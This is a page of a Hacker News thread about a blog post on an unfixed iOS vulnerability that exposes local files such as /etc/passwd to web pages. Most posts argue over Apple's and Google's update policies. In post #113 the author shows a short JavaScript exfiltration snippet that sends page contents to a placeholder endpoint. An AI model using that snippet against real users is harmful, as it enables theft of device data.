Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

joshua.hu

Post reply on HN
Print view View original

111–120 of 242 posts

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#111

Post by mmsc »

Always a smile when I see my blog posted on hn:)

To answer three questions:

1) this was not reported in the context of any bug bounty[0], and the total conversation between me and Apple is 4 emails (1: hello do you plan to fix this? 2: can you reproduce this on the newest ios17? 3: no. 4: if you are able to reproduce it on ios17 let us know)

2) exfiltration is obviously possible, I’m not sure why I would even need to specify that any page is able to read its own contents using JavaScript

3) the iPhone 6s and 15.8 are still seemingly supported by Apple.

[0] and you won’t find me on any bug bounty websites except for where I try to get contact with humans, see https://joshua.hu/slack-is-broken-with-noscript

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#112

Post by Almondsetat »

ionyun wrote: post #16
gridder wrote: post #7

This is a 10 year old phone, released in 2014. Edit. I was wrong, 2015, sorry

Apple still sells previous phones as lesser, but still not very affordable, models. The iPhone 7 was released in September 2016 and discontinued in September 2019. It is also on iOS 15.8 so presumably also vulnerable to this. That would be about 4 years of security updates. Not the worst but not beating what e.g. Google promises for Pixel phones now.

Apple: proven track record

Google: promises

you're being disingenuous

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#113

Post by mmsc »

userbinator wrote: post #109
userbinator wrote: post #3

When opening the page, your /etc/passwd is there for the world to see. ...more precisely, for you to see; this needs to be combined with something to send back data (JS?) to be truly exploited.

[flagged]

Yes, obviously the website can retrieve this data too.

  
  var olis=document.getElemeByTagName(‘p’);
  Data=olis[1].text content;
  xmlHttp2 = new   XMLHttpRequest;
  xmlHttp2.open(‘GET’, ‘https://endpoint/?data=‘+data);
  xmlHttp2.send();

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#114

Post by davnn »

dangus wrote: post #37
ionyun wrote: post #16

Earlier quoted context omitted.

Apple still sells previous phones as lesser, but still not very affordable, models. The iPhone 7 was released in September 2016 and discontinued in September 2019. It is also on iOS 15.8 so presumably also vulnerable to this. That would be about 4 years of security updates. Not the worst but not beating what e.g. Google promises for Pixel phones now.

Personally I don’t think Apple’s level of support is incredibly bad when you take a look at the used device market. Even with Apple’s famously high resale values, depreciation on smartphones is huge. Don’t buy brand new old phones new from Apple, they’re a ripoff. If you buy either an iPhone 12 or 13 used for $250-350 you can basically plan on a $50 a year budget to have a smartphone that always has the latest OS jud…

Not yet, I believe. Revenue from iPhone sales is still quite fundamental to Apple‘s success, it‘s more than triple the revenue from all services combined (not including Google‘s search engine deal).

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#115

Post by turquoisevar »

conradev wrote: post #59

/etc/passwd is the same on every device because it is in the system image, which is world readable. I don't think this exploit can be used to read the call history database as the author implies because it is outside of the sandbox profile.

Yeah the author goes a bit far in their hypotheticals, straight into fantasy.

Also not sure I agree with the implication that Apple shouldn’t publish which vulnerabilities they’ve patched (the only logical conclusion because the alternative, patching every version in perpetuity, is unrealistic).

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#116

Post by beebmam »

WA wrote: post #108
Dylan16807 wrote: post #103

Earlier quoted context omitted.

We can and should praise Google for improving things, and use their new strong points to push Apple into improving too. This isn't a debate about what company is better. The word "now" is used for Google's promises for a reason.

> We can and should praise Google for improving things Let’s talk again in 5 years, once they had the opportunity to prove their plans. So far, it’s all just talk.

Never forget the Pixel Pass rug pull. I'll never buy another Google product.

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#117

Post by jeswin »

mrcarruthers wrote: post #90
ionyun wrote: post #16

Earlier quoted context omitted.

Apple still sells previous phones as lesser, but still not very affordable, models. The iPhone 7 was released in September 2016 and discontinued in September 2019. It is also on iOS 15.8 so presumably also vulnerable to this. That would be about 4 years of security updates. Not the worst but not beating what e.g. Google promises for Pixel phones now.

You can't seriously give Apple shit for this and at the same time praise Google. iPhones have, pretty consistently since the 5 or so, received 5 or 6 years worth of OS updates since the phone's release whereas with Android phones you'll receive 2. Only after years of complaining is Google finally promising to support it for longer. And that doesn't cover Samsung, etc...

But Android also lets you run custom builds, and my 2016 phone runs the latest OS. Sure not everyone does this, but unlike iOS I can take care of it myself.

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#118

Post by Closi »

leetcrew wrote: post #35
madars wrote: post #17

Earlier quoted context omitted.

It's fine for a vendor to completely abandon 10 year old hardware but if you can still pay 30% App Store tax/pay for iCloud/etc, the security fixes should be backported as well. The current situation is charging full price for inferior (or maybe even dangerous) product: Apple wants to have its cake and eat it too.

I don't totally follow this argument. the 30% app store commission, iCloud subscription, etc. does not only fund security fixes for the OS and core services. I don't think the average consumer thinks that's what they're paying for either. waiving the fee for EOL'd devices would create a perverse incentive of its own. I do wish apple would follow google's example and commit to a service lifetime upfront, but other tha…

Also it means that at some point, Apple would have to actively block some legacy devices from using iCloud, app store, apple music, any app with subscrpitions etc which would effectively make the device pretty useless.

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#119

Post by realusername »

mrcarruthers wrote: post #93
TheDong wrote: post #18

Earlier quoted context omitted.

The Nexus 6 (2014) can still run a version of android with security patches: https://wiki.lineageos.org/devices/shamu/ Google no longer offers security patches directly, but since you control the phone sufficiently to install your own OS, the community can come together and keep security updates flowing. You could do it yourself if you wanted. Apple devices make this sort of community maintainership effectively impos…

It's all well and good to say "oh you can just install a custom ROM". But you (and many here) can do that. Because you're technically inclined. But the vast majority have users have no idea what the hell you're talking about. They barely know what a security update is or what version of Android they're using, let alone being able to find, choose, and install a ROM. Can we just choose to stop suggesting it as a legiti…

people don't know how to install Windows either. In theory they could go to a shop to update their phone like their are doing with Windows but the reality is that nobody cares about updating their phone.

Re: No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability

#120

Post by denysvitali »

mmsc wrote: post #111

Always a smile when I see my blog posted on hn:) To answer three questions: 1) this was not reported in the context of any bug bounty[0], and the total conversation between me and Apple is 4 emails (1: hello do you plan to fix this? 2: can you reproduce this on the newest ios17? 3: no. 4: if you are able to reproduce it on ios17 let us know) 2) exfiltration is obviously possible, I’m not sure why I would even need to…

Getting in touch with an human is generally "easy": getting in touch with an engineer isn't.

It's sad that one has to open a bug bounty request to get an engineer to look into an issue like the one you described in your linked blog post.

Post reply on HN